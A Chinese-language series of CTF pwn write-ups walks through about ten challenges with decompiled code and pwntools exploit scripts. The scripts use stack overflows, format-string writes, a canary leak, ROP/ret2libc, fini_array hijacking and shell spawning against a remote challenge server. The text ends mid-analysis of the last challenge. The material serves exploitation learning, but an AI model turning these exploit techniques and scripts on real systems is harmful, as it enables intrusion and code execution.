下载附件,是一个 zip 压缩文件,解压一下,再 checksec 一下:
发现只有 canary 没开,作为一个少星的问题,太吓唬人了!
ida 打开看一下:
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
| { |
| char buf[55]; |
| char v5; |
| ssize_t v6; |
| unsigned int seed[2]; |
| unsigned int v8; |
| |
| memset(buf, 0, 0x30uLL); |
| *(_QWORD *)seed = time(0LL); |
| printf("Welcome, let me know your name: ", a2); |
| fflush(stdout); |
| v6 = read(0, buf, 0x50uLL); |
| if ( v6 <= 49 ) |
| buf[v6 - 1] = 0; |
| printf("Hi, %s. Let's play a game.\n", buf); |
| fflush(stdout); |
| srand(seed[0]); |
| v8 = 1; |
| v5 = 0; |
| while ( 1 ) |
| { |
| printf("Game %d/50\n", v8); |
| v5 = sub_A20(); |
| fflush(stdout); |
| if ( v5 != 1 ) |
| break; |
| if ( v8 == 50 ) |
| { |
| sub_B28(buf); |
| break; |
| } |
| ++v8; |
| } |
| puts("Bye bye!"); |
| return 0LL; |
| } |
可以看出逻辑,和随机数有关,新手区里面也有个伪随机数,应该和这题有相似之处,把随机数的种子覆盖成我们定义的固定值。
再查看一下其他的函数:
| signed __int64 sub_A20() |
| { |
| signed __int64 result; |
| __int16 v1; |
| __int16 v2; |
| |
| printf("Give me the point(1~6): "); |
| fflush(stdout); |
| _isoc99_scanf("%hd", &v1); |
| if ( v1 > 0 && v1 <= 6 ) |
| { |
| v2 = rand() % 6 + 1; |
| if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 ) |
| _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game"); |
| if ( v1 == v2 ) |
| { |
| puts("You win."); |
| result = 1LL; |
| } |
| else |
| { |
| puts("You lost."); |
| result = 0LL; |
| } |
| } |
| else |
| { |
| puts("Invalid value!"); |
| result = 0LL; |
| } |
| return result; |
| } |
| int __fastcall sub_B28(__int64 a1) |
| { |
| char s; |
| FILE *stream; |
| |
| printf("Congrats %s\n", a1); |
| stream = fopen("flag", "r"); |
| fgets(&s, 100, stream); |
| puts(&s); |
| return fflush(stdout); |
| } |
观察上述函数可以找到发现:buf 存在输入点,输入限制是 0x50,szName 的 rbp 偏移值是 50h,刚好相等,不能做栈溢出,但是 seed 的 rbp 偏移值是 10h,在输入 szName 的时候可以覆盖到 seed 的值。
构建 payload:
| |
| from pwn import * |
| from ctypes import * |
| p = remote('111.200.241.244', 65518) |
| libc = cdll.LoadLibrary('/home/kali/Desktop/libc.so.6') |
| libc.srand(1) |
| payload = b'A' * 0x40 + p64(1) |
| p.sendlineafter('Welcome, let me know your name: ', payload) |
| for i in range(50): |
| rand_value = libc.rand() % 6 + 1 |
| p.sendlineafter('Give me the point(1~6): ', str(rand_value)) |
| p.interactive() |
运行得到 flag:
打开附件,查看基本信息:
发现只开了 NX,没有 canary 就意味着可以直接栈溢出
IDA 打开查看一下:
| int __cdecl main() |
| { |
| size_t v0; |
| char v2[32]; |
| int (*v3)(); |
| int (*v4)(); |
| int (*v5)(); |
| int (*v6)(); |
| int (*v7)(); |
| int (*v8)(); |
| int (*v9)(); |
| int (*v10)(); |
| int (*v11)(); |
| int (*v12)(); |
| char s; |
| int v14; |
| size_t i; |
| |
| v14 = 1; |
| v3 = sub_8048604; |
| v4 = sub_8048618; |
| v5 = sub_804862C; |
| v6 = sub_8048640; |
| v7 = sub_8048654; |
| v8 = sub_8048668; |
| v9 = sub_804867C; |
| v10 = sub_8048690; |
| v11 = sub_80486A4; |
| v12 = sub_80486B8; |
| puts("What is your name?"); |
| printf("> "); |
| fflush(stdout); |
| fgets(&s, 32, stdin); |
| sub_80485DD(&s); |
| fflush(stdout); |
| printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654); |
| fflush(stdout); |
| puts("Enter the string to be validate"); |
| printf("> "); |
| fflush(stdout); |
| __isoc99_scanf("%s", v2); |
| for ( i = 0; ; ++i ) |
| { |
| v0 = i; |
| if ( v0 >= strlen(v2) ) |
| break; |
| switch ( v14 ) |
| { |
| case 1: |
| if ( sub_8048702(v2[i]) ) |
| v14 = 2; |
| break; |
| case 2: |
| if ( v2[i] == 64 ) |
| v14 = 3; |
| break; |
| case 3: |
| if ( sub_804874C(v2[i]) ) |
| v14 = 4; |
| break; |
| case 4: |
| if ( v2[i] == 46 ) |
| v14 = 5; |
| break; |
| case 5: |
| if ( sub_8048784(v2[i]) ) |
| v14 = 6; |
| break; |
| case 6: |
| if ( sub_8048784(v2[i]) ) |
| v14 = 7; |
| break; |
| case 7: |
| if ( sub_8048784(v2[i]) ) |
| v14 = 8; |
| break; |
| case 8: |
| if ( sub_8048784(v2[i]) ) |
| v14 = 9; |
| break; |
| case 9: |
| v14 = 10; |
| break; |
| default: |
| continue; |
| } |
| } |
| (*(&v3 + --v14))(); |
| return fflush(stdout); |
| } |
可以发现有两处溢出点,但是第一处没有什么价值,第二处溢出点:
没有限制 v2 的输入,可以让 v2 溢出,main 函数 (\*(&v3 + –v14))()*
意思是调用 指针(v3 + (v14 - 1))
所指向的函数,如果 v14 等于 1,那么这句话调用的就是 v3 原本指向的函数。
而且第二个输入点有限制条件:
| _BOOL4 __cdecl sub_8048702(char a1) |
| { |
| return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46; |
| } |
查看一下字符串窗口,可以看到几个有意思的点:
追踪一下 system,查看一下引用,找到:
| int sub_80486CC() |
| { |
| char s; |
| snprintf(&s, 0x32u, "cat %s", "./flag"); |
| return system(&s); |
| } |
- 第一个输入点随便输入
- 第二个输入让 v2 溢出,并且每位必须不符合条件,使 v14 的值一直是 1
- 溢出覆盖 v3 指向的地址,改成 0x80486CC
- 拿到 flag
| from pwn import * |
| payload = b'A'*32 + p32(0x80486CC) |
| p = remote('111.200.241.244',63994) |
| p.sendlineafter('> ','abcd') |
| p.sendlineafter('> ',payload) |
| p.interactive() |
下载附件,解压,查看基本信息:
打开 IDA 看一下,头瞬间就大起来了,文件超级多,头很大,打开 main 函数也受不了。
运行一下试试吧:
发现返回的东西没有被定义,尝试输入一下命令:
help 有反应,其他的也尝试过但是没啥反馈,查看一下字符串:
看网上的 wp,显示师傅们找到了 os.file
和 os.path
两个字符串,然后猜想 os
搭配命令可以正常使用。
参考师傅们的 wp:
| from pwn import * |
| context.log_level = 'debug' |
| process_name = './js' |
| |
| p = remote('111.200.241.244', 57831) |
| |
| p.sendlineafter('js> ', 'os.system(\'cat flag\')') |
| p.interactive() |
这里我在做的时候出现了个奇怪的现象:
不知道啥情况。
打开环境,查看附件基本信息:
拖入 IDA 进行分析。
再看一下 easy
函数和 easy里面的normal
函数:
再看一下 shell
这么多漏洞在,直接利用就完事了
| from pwn import* |
| p=remote("111.200.241.244":63940) |
| shell=0x4005f6 |
| payload='a'*0x208+p64(shell) |
| p.recv() |
| p.sendline(payload) |
| p.interactive() |
打开环境,查看基本信息:
啥都没开。。。。。
IDA 查看一下 main 函数:
再看一下 locker 函数:
locker 函数首先接受了一个字符串s
,然后调用 imagemagic函数
,这个函数跟进去查看其实就是一个 printf函数
,最后比较 key 的值是不是为 0x2223322,如果相等,返回 shell,否则,打印 key 的地址和值,本地运行一下:
首先找偏移量,printf ("% p",a) 用地址的格式打印变量 a 的值。我们在前面输入 AAAA
,所以只需要在返回结果中找到 0x41414141
即可确定偏移。
| from pwn import * |
| debug = False |
| if debug: |
| conn = process('./data') |
| else: |
| conn = remote('111.200.241.244', 59741) |
| key_addr = 0x0804a048 |
| key_value = 0x2223322 |
| payload = fmtstr_payload(12, {key_addr: key_value}) |
| conn.sendline(payload) |
| conn.interactive() |
打开环境,查看基本信息:
尝试运行一下:
没有啥收获,还是得拖到 IDA 进行分析,查看一下 main 函数:
| int __cdecl main(int argc, const char **argv, const char **envp) |
| { |
| int v3; |
| unsigned int v5; |
| unsigned int v6; |
| int v7; |
| unsigned int j; |
| int v9; |
| unsigned int i; |
| unsigned int k; |
| unsigned int l; |
| char v13[100]; |
| unsigned int v14; |
| |
| v14 = __readgsdword(0x14u); |
| setvbuf(stdin, 0, 2, 0); |
| setvbuf(stdout, 0, 2, 0); |
| v9 = 0; |
| puts("***********************************************************"); |
| puts("* An easy calc *"); |
| puts("*Give me your numbers and I will return to you an average *"); |
| puts("*(0 <= x < 256) *"); |
| puts("***********************************************************"); |
| puts("How many numbers you have:"); |
| __isoc99_scanf("%d", &v5); |
| puts("Give me your numbers"); |
| for ( i = 0; i < v5 && (signed int)i <= 99; ++i ) |
| { |
| __isoc99_scanf("%d", &v7); |
| v13[i] = v7; |
| } |
| for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) |
| { |
| while ( 1 ) |
| { |
| while ( 1 ) |
| { |
| while ( 1 ) |
| { |
| puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"); |
| __isoc99_scanf("%d", &v6); |
| if ( v6 != 2 ) |
| break; |
| puts("Give me your number"); |
| __isoc99_scanf("%d", &v7); |
| if ( j <= 0x63 ) |
| { |
| v3 = j++; |
| v13[v3] = v7; |
| } |
| } |
| if ( v6 > 2 ) |
| break; |
| if ( v6 != 1 ) |
| return 0; |
| puts("id\t\tnumber"); |
| for ( k = 0; k < j; ++k ) |
| printf("%d\t\t%d\n", k, v13[k]); |
| } |
| if ( v6 != 3 ) |
| break; |
| puts("which number to change:"); |
| __isoc99_scanf("%d", &v5); |
| puts("new number:"); |
| __isoc99_scanf("%d", &v7); |
| v13[v5] = v7; |
| } |
| if ( v6 != 4 ) |
| break; |
| v9 = 0; |
| for ( l = 0; l < j; ++l ) |
| v9 += v13[l]; |
| } |
| return 0; |
| } |
没有看到明显的漏洞,没办法只能去网上膜拜一下其他的大佬了,本题的栈溢出是因为对 v5 没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。
再查看一下字符串:
追踪一下,找到了奇怪的东西
看一下这个 hackhere
:
| int hackhere() |
| { |
| return system("/bin/bash"); |
| } |
nice! 不过该函数调用 system(''/bin/bash')
,一般远程就留一个 sh 和 cat。
我们可以利用 system 函数,直接执行 system('sh')
。
然而搞了很长时间还是没有搞出来只能参考师傅们的 wp 了,这道题留到以后再重新搞吧。
| from pwn import * |
| |
| def write_addr(index,value,io): |
| io.sendline("3") |
| io.sendlineafter("which number to change:\n",str(index)) |
| io.sendlineafter("new number:\n",str(value)) |
| |
| io = remote("111.200.241.244","63910") |
| context.log_level = 'debug' |
| |
| addr_buf=0xffffcec8 |
| addr_ret=0xffffcf4c |
| index = addr_ret - addr_buf |
| |
| addr_sys = [0x50,0x84,0x04,0x08] |
| addr_sh = [0x87,0x89,0x04,0x08] |
| |
| io.sendlineafter("How many numbers you have:\n","1") |
| io.sendlineafter("Give me your numbers\n","1") |
| |
| for i in range(4): |
| write_addr(index,addr_sys[i],io) |
| index = index+1 |
| |
| for i in range(4): |
| write_addr(index,addr_sys[i],io) |
| index = index+1 |
| |
| for i in range(4): |
| write_addr(index,addr_sh[i],io) |
| index = index+1 |
| |
| io.sendline("5") |
| io.interactive() |
简单查看一下附件的基本信息:
IDA 打开看一下:
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
| { |
| const char *v3; |
| int v4; |
| unsigned __int64 v5; |
| |
| v5 = __readfsqword(0x28u); |
| sub_4009FF(); |
| puts("Welcome to the battle ! "); |
| puts("[Great Fairy] level pwned "); |
| v3 = "Select your weapon "; |
| puts("Select your weapon "); |
| while ( 1 ) |
| { |
| while ( 1 ) |
| { |
| sub_4009DA(v3); |
| v3 = "%d"; |
| __isoc99_scanf("%d", &v4); |
| if ( v4 != 2 ) |
| break; |
| sub_4008EB(); |
| } |
| if ( v4 == 3 ) |
| { |
| puts("Bye "); |
| exit(0); |
| } |
| if ( v4 == 1 ) |
| { |
| sub_400960(); |
| } |
| else |
| { |
| v3 = "Wrong!"; |
| puts("Wrong!"); |
| } |
| } |
| } |
再查看一下其他的函数,找到了两个漏洞:
以及 flag:
但是本题开了 Canary,关于这个,引用 Nathan-Yang 的解释
所谓的Canary保护是指在栈在保存rbp的位置之上,还保存了一个变量v。在函数执行结束,准备pop rbp和pop addr_ret之前,检查v是否被改变,如果改变了则说明发生了栈溢出,程序将会报错。v的实现逻辑和在栈中的位置如下图所示。
所以本题就是要利用格式化字符串漏洞绕过 canary,再通过栈溢出得到 flag。
计算偏移量:
buf 和 v2 相差了 0x90-0x8=0x88
,0x88/8=17
, 17+6=23
:
| from pwn import * |
| context.log_level = 'debug' |
| p = remote('111.200.241.244',56682) |
| p.recvuntil("Exit the battle ") |
| p.sendline(str(2)) |
| p.sendline("%23$p") |
| p.recvuntil("0x") |
| canary = int(p.recv(16),16) |
| p.recvuntil("Exit the battle ") |
| payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA) |
| p.sendline(str(1)) |
| p.sendline(payload) |
| p.interactive() |
打开看一下基础信息:
IDA 打开看一下逻辑:
可以分析出程序大意,先读取字符串长度存入 nptr
与 v7
中,如果字符串长度小于 15 时将 v7
设为 16,大于 15 则不变。然后读取 v7 个字符放入 buf 中,最后在末尾添上 0 并打印出来。如果 v7 很大,则 read 会造成溢出并覆盖。
查看一下字符串:
找到 flag 字符串,继续看这个程序,这个循环是个死循环,如果直接使用 close () 函数程序会直接退出,看师傅们的 wp,发现有一个 shutdown()函数
可以关闭 IO 流,让循环正常退出。
alarm
,open
,read
,write
函数的实现都是通过 syscall 实现的,分析 alarm:
发现存在 syscall
。参考网上大佬的思路,大致是这样利用的:
- 先利用 Gadget 配合修改 alarm 函数的 got 表项,指向 syscall。
- 传入相应的 eax,open 打开 flag
- 用 read 和 write 输出函数
| import sys |
| from pwn import * |
| from LibcSearcher import LibcSearcher |
| |
| rv = lambda : io.recv() |
| rl = lambda a=False : io.recvline(a) |
| ru = lambda a,b=True : io.recvuntil(a,b) |
| rn = lambda x : io.recvn(x) |
| se = lambda x : io.send(x) |
| sl = lambda x : io.sendline(x) |
| sa = lambda a,b : io.sendafter(a,b) |
| sla = lambda a,b : io.sendlineafter(a,b) |
| sconnect = lambda : io.interactive() |
| |
| context.log_level = "DEBUG" |
| pwn_file = './Recho' |
| elf = ELF(pwn_file) |
| |
| if len(sys.argv) < 2: |
| IS_LOCAL = 1 |
| io = process(pwn_file) |
| else: |
| IS_LOCAL = 0 |
| sys_argv = sys.argv[1].split(':') |
| io = remote(sys_argv[0], int(sys_argv[1])) |
| |
| flag_str = 0x0000000000601058 |
| pop_rax_ret = 0x00000000004006fc |
| pop_rdi_ret = 0x00000000004008a3 |
| save_flag_addr = 0x0000000000601060 |
| add_ptr_rdi_al = 0x000000000040070d |
| sysenter_addr = alarm_addr = elf.got['alarm'] |
| |
| def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0): |
| payload = p64(part1) |
| payload += p64(0x0) |
| payload += p64(0x1) |
| payload += p64(jmp2) |
| payload += p64(arg3) |
| payload += p64(arg2) |
| payload += p64(arg1) |
| payload += p64(part2) |
| payload += b'A' * 56 |
| return payload |
| |
| p1 = 0x40089A |
| p2 = 0x400880 |
| payload = b'A'*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \ |
| + p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \ |
| + com_gadget(p1,p2,elf.got['read'],3,save_flag_addr,50) \ |
| + com_gadget(p1,p2,elf.got['write'],1,save_flag_addr,50) |
| |
| if IS_LOCAL: |
| gdb.attach(io,"break *0x400889\nc") |
| pause() |
| |
| rv() |
| se(str(len(payload))) |
| se(payload) |
| rv() |
| io.shutdown('write') |
| print(rv()) |
在运行师傅脚本的时候出现了这样的问题:
| |
| from pwn import * |
| context.log_level = 'debug' |
| elf=ELF('./Recho') |
| p=remote('111.200.241.244',61232) |
| |
| |
| |
| |
| |
| |
| |
| alarm=elf.plt['alarm'] |
| read=elf.plt['read'] |
| write=elf.plt['write'] |
| printf=elf.plt['printf'] |
| alarm_got=elf.got['alarm'] |
| payload=b'a'*0x38 |
| payload+=p64(0x4006fc)+p64(0x5) |
| payload+=p64(0x4008a3)+p64(alarm_got) |
| payload+=p64(0x40070d) |
| payload+=p64(0x4006fc)+p64(0x2) |
| payload+=p64(0x4008a3)+p64(0x601058) |
| payload+=p64(0x4006fe)+p64(0) |
| payload+=p64(0x4008a1)+p64(0)+p64(0) |
| payload+=p64(alarm) |
| payload+=p64(0x4008a3)+p64(3) |
| payload+=p64(0x4008a1)+p64(0x601090+0x500)+p64(0) |
| payload+=p64(0x4006fe)+p64(0x30) |
| payload+=p64(read) |
| payload+=p64(0x4008a3)+p64(0x601090+0x500) |
| payload+=p64(printf) |
| p.recvuntil('Welcome to Recho server!\n') |
| p.sendline(str(0x200)) |
| payload=payload.ljust(0x200,b'\x00') |
| p.send(payload) |
| p.recv() |
| p.shutdown('send') |
| p.interactive() |
| p.close() |
题目没有给附件,远程连接:
只能 FUZZ 了,阿巴阿巴
模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言 (assertion) 失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。
由于没有附件,只能模糊测试,所以要分三种情况去 pwn:
由于溢出值不知道只能挨个尝试:
| from pwn import * |
| addr = 0x40060d |
| for i in range(70,75): |
| print(i) |
| r = remote("111.200.241.244",50304) |
| payload = b'a'*i + p64(addr) |
| r.recvuntil(b'>') |
| r.sendline(payload) |
| r.interactive() |
| r.sendline(b'ls') |
| r.sendline(b'ls') |
随便查看一下信息:
拖到 IDA 内查看逻辑:
| int __cdecl main(int argc, const char **argv, const char **envp) |
| { |
| char buf; |
| write(1, "Welcome to RCTF\n", 0x10uLL); |
| fflush(_bss_start); |
| read(0, &buf, 0x400uLL); |
| echo(&buf, &buf); |
| return 0; |
| } |
我一看就懵了,看了好几遍反应过来 echo 是个函数。。。。
| int __fastcall echo(__int64 a1) |
| { |
| char s2[16]; |
| |
| for ( i = 0; *(_BYTE *)(i + a1); ++i ) |
| s2[i] = *(_BYTE *)(i + a1); |
| s2[i] = 0; |
| if ( !strcmp("ROIS", s2) ) |
| { |
| printf("RCTF{Welcome}", s2); |
| puts(" is not flag"); |
| } |
| return printf("%s", s2); |
| } |
echo 函数是循环赋值 read 函数读取的数值,并打印出来,且遇到 0 时停止赋值,通过汇编可以知道 echo 函数申请的栈空间大小是 0x20 个字节,而 read 函数读取的字节大小时 0x400 个字节,这时候可以知道通过循环读取造成栈的溢出。
| from pwn import* |
| from LibcSearcher import* |
| p = remote("111.200.241.244",51718) |
| elf = ELF("welpwn") |
| context.log_level = 'debug' |
| puts_addr = elf.symbols["puts"] |
| write_plt = elf.symbols["write"] |
| write_got = elf.got["write"] |
| junk = 24 |
| rop1 = 0x040089A |
| rop2 = 0x0400880 |
| pop4r = 0x000000000040089c |
| popr = 0x04008a3 |
| main_addr = 0x04007CD |
| p.recv() |
| payload = junk*'A'+p64(pop4r)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+p64(rop2) |
| payload += 56*'C'+p64(main_addr) |
| p.send(payload) |
| write_addr = u64(p.recv(8)) |
| print(hex(write_addr)) |
| libc = LibcSearcher("write",write_addr) |
| write_libc = libc.dump("write") |
| offset = write_addr-write_libc |
| sys_addr = libc.dump("system")+offset |
| binsh_addr = libc.dump("str_bin_sh")+offset |
| payload = junk*'A'+p64(pop4r)+p64(popr)+p64(binsh_addr)+p64(sys_addr) |
| p.recv() |
| p.send(payload) |
| |
| p.interactive() |
查看一下基础信息:
拖到 IDA 查看一下逻辑:
| int __cdecl main(int argc, const char **argv, const char **envp) |
| { |
| char s; |
| char v5; |
| unsigned int v6; |
| |
| v6 = __readgsdword(0x14u); |
| printf("Please tell me your name... "); |
| if ( !getnline(&v5, 64) ) |
| return puts("Don't ignore me ;( "); |
| sprintf(&s, "Nice to meet you, %s :)\n", &v5); |
| return printf(&s); |
| } |
| size_t __cdecl getnline(char *s, int n) |
| { |
| char *v3; |
| |
| fgets(s, n, stdin); |
| v3 = strchr(s, 10); |
| if ( v3 ) |
| *v3 = 0; |
| return strlen(s); |
| } |
最后返回的 printf(&s)
存在格式化字符串漏洞,造成了任意地址的读写,测试一下:
| aaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p |
格式字符串的第 12 个参数,这里往前 2 个字节是 aa, 填充 2 个字节。 然后用 "% c", "% n" 可以修改该位置的数据,这里需要双字节修改
在printf的格式化修饰符中,hn 为WORD(字),hhn为BYTE(字节),n为DWORD(双字)
然后就不会了,看大佬们 wp 思路是:.fini.array
中的函数在 main
结束时被调用,修改其中的函数地址为_start
,看到了这样一幅图:
程序退出后会依次遍历 .fini_array
中的每一个函数指针,那如果把 start
或者 main
函数的地址覆写到这里,就会使程序重新执行。
详细可以参考:详解 64 位静态编译程序的 fini_array 劫持及 ROP 攻击 - FreeBuf 网络安全行业门户
由上面的基本信息可以知道,got 表可写,
- 覆盖
fini_array
为 main
- 覆盖
strlen got
为 system_plt
- 传参
“/bin/sh”
由于.fini.array
中原有的数据和_start
高两位都一样,只需要修改后两位。
查看 main
、system_plt
和 strlen_got
地址:
- fini_got = 0x8049934
- strlen_got = 0x8049A54
- main_addr = 0x80485ED
- system_plt = 0x8048490
- start_addr=0x80484F0
| payload = ‘aa’ + p32(fini_array) + “%” + str(main_addr -4 -2 – strlen(“Nice to meet you,”)) + ‘c%12$hn’ |
| from typing import ContextManager |
| from pwn import * |
| |
| context.log_level = "debug" |
| sel = 1 |
| filename = "./greeting-150" |
| URL, PORT = "111.200.241.244", 53619 |
| io = process(filename) if sel == 0 else remote(URL, PORT) |
| |
| strlen_got = 0x08049A54 |
| system_plt = 0x08048490 |
| main_addr = 0x080485ED |
| fini_array = 0x08049934 |
| |
| fini_num = 0x85ED |
| sysplt_num1 = 0x0804 |
| sysplt_num2 = 0x8490 |
| length_pre = 18 |
| |
| payload = b"zz" + p32(strlen_got) + p32(strlen_got + 2) + p32(fini_array) |
| payload += b"%" + b"2020" + b"c%13$hn" |
| payload += b"%" + b"31884" + b"c%12$hn" |
| payload += b"%" + b"349" + b"c%14$hn" |
| |
| io.sendlineafter("Please tell me your name... ", payload) |
| io.sendlineafter("Please tell me your name... ", b"/bin/sh") |
| io.interactive() |
查看基础信息:
保护全开了。。。。对于这个报错,上网查了一下是由于缺少 openssl 开源库 libcrypto.so.1.1,加载好创建软连接即可:
| ln -s libcrypto.so.1.1 libcrypto.so.1.0.0 |
拖到 IDA 查看:
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
| { |
| char *v3; |
| unsigned __int8 *v4; |
| int *v5; |
| __int64 v6; |
| char *v7; |
| unsigned int v8; |
| FILE *v9; |
| __int64 v11; |
| char *lineptr; |
| char dest; |
| __int64 v14; |
| _BYTE v15[5]; |
| int v16; |
| int v17; |
| int v18; |
| char s; |
| unsigned __int64 v20; |
| |
| v20 = __readfsqword(0x28u); |
| sub_E60(&dest, a2, a3); |
| v11 = 0LL; |
| lineptr = 0LL; |
| if ( getline(&lineptr, (size_t *)&v11, stdin) == -1 ) |
| return 1; |
| v3 = strrchr(lineptr, 10); |
| if ( !v3 ) |
| return 1; |
| *v3 = 0; |
| v4 = (unsigned __int8 *)&v16; |
| v5 = &v17; |
| strcpy(&dest, lineptr); |
| sub_DD0(&dest, &v16, 256LL); |
| do |
| { |
| v6 = *v4; |
| v7 = (char *)v5; |
| v5 = (int *)((char *)v5 + 2); |
| ++v4; |
| snprintf(v7, 3uLL, "%02x", v6); |
| } |
| while ( v5 != &v18 ); |
| v8 = strcmp(v15, (const char *)&v17); |
| if ( v8 ) |
| { |
| puts("wrong password!"); |
| return 1; |
| } |
| v9 = popen((const char *)&v14, "r"); |
| if ( !v9 ) |
| return 1; |
| while ( fgets(&s, 256, v9) ) |
| printf("%s", &s); |
| fclose(v9); |
| return v8; |
| } |
分析逻辑可知:v8 不为 0 就会输出 "wrong password”
,然后退出,如果 v8 等于 0,那么后面会执行 popen
函数,该函数可以执行 shell command
。
上网查了一下这个 popen,Linux C popen () 函数详解 - 52php - 博客园 (cnblogs.com):
popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c来执行参数command的指令。参数type可使用“r”代表读取,“w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。此外,所有使用文件指针(FILE*)操作的函数也都可以使用,除了fclose()以外。
如果 type 为 r,那么调用进程读进 command 的标准输出。
如果 type 为 w,那么调用进程写到 command 的标准输入。
然后要使 v8==0
,v15 和 v17 两个字符串要相等,上面 v7==v5
,v5 = &v17
,v6 = *v4
,v4 = (unsigned __int8 *)&v16
然后可以发现 getline 存在溢出,再查看一下其他函数:
| unsigned __int64 __fastcall sub_E60(char *a1) |
| { |
| __int64 v2; |
| __int64 v3; |
| __int64 v4; |
| __int16 v5; |
| char v6; |
| __int64 v7; |
| __int64 v8; |
| __int64 v9; |
| __int64 v10; |
| __int64 v11; |
| __int64 v12; |
| __int64 v13; |
| __int64 v14; |
| char v15; |
| unsigned __int64 v16; |
| |
| v16 = __readfsqword(0x28u); |
| v6 = 0; |
| memset(a1, 0, 0x100uLL); |
| v2 = 8386093036507587119LL; |
| v3 = 7310014432551054880LL; |
| v4 = 7002641623085768564LL; |
| v5 = 25459; |
| snprintf( |
| a1 + 256, |
| 0x1BuLL, |
| "%s", |
| &v2, |
| 8386093036507587119LL, |
| 7310014432551054880LL, |
| 7002641623085768564LL, |
| *(_QWORD *)&v5); |
| v7 = 7291380990809223993LL; |
| v8 = 3846974793129996595LL; |
| v9 = 7149517611173568821LL; |
| v10 = 7005684783558900022LL; |
| v11 = 3703759022809560162LL; |
| v12 = 3559359259495392098LL; |
| v13 = 3544673966641145443LL; |
| v14 = 3977295534107146545LL; |
| v15 = 0; |
| snprintf(a1 + 283, 0x41uLL, "%s", &v7); |
| return __readfsqword(0x28u) ^ v16; |
| } |